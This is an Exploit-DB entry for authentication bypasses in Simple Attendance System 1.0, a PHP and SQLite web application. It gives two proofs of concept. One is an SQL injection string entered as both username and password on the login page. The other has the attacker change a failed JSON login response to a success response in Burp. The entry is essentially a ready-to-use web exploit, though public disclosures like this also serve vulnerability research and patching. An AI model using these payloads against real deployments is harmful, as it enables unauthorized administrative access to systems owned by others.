Authenticated bypass

EDB-ID:
50301

CVE:
N/A

EDB Verified: ✗

Author:
ABDULLAH KHAWAJA

Type:
WEBAPPS

Exploit: ⤓ / {}

Platform:
PHP

Date:
2021-09-17

Vulnerable App:

```
# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: September 17, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-
system-php-and-sqlite-free-source-code.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.z

# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Simple Attendance System, is prone to multiple vulnerabilities.
Easy authentication bypass vulnerability on the application
allowing the attacker to login


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/attendance/login.php

Username: admin' or ''=' -- -+
Password: admin' or ''=' -- -+


----- PoC-2: Authentication Bypass -----

Steps:
1. Enter wrong crendentials http://localhost/attendance/login.php
2. Capture the request in burp and send it to repeater.
3. Forward the request.
4. In response tab, replace :
    {"status":"failed","msg":"Invalid username or password."}
                with
    {"status":"success","msg":"Login successfully."}
```

Tags:

Advisory/Source: Link

Downloads ▾

Certifications ▾

Training ▾

Pro Services ▾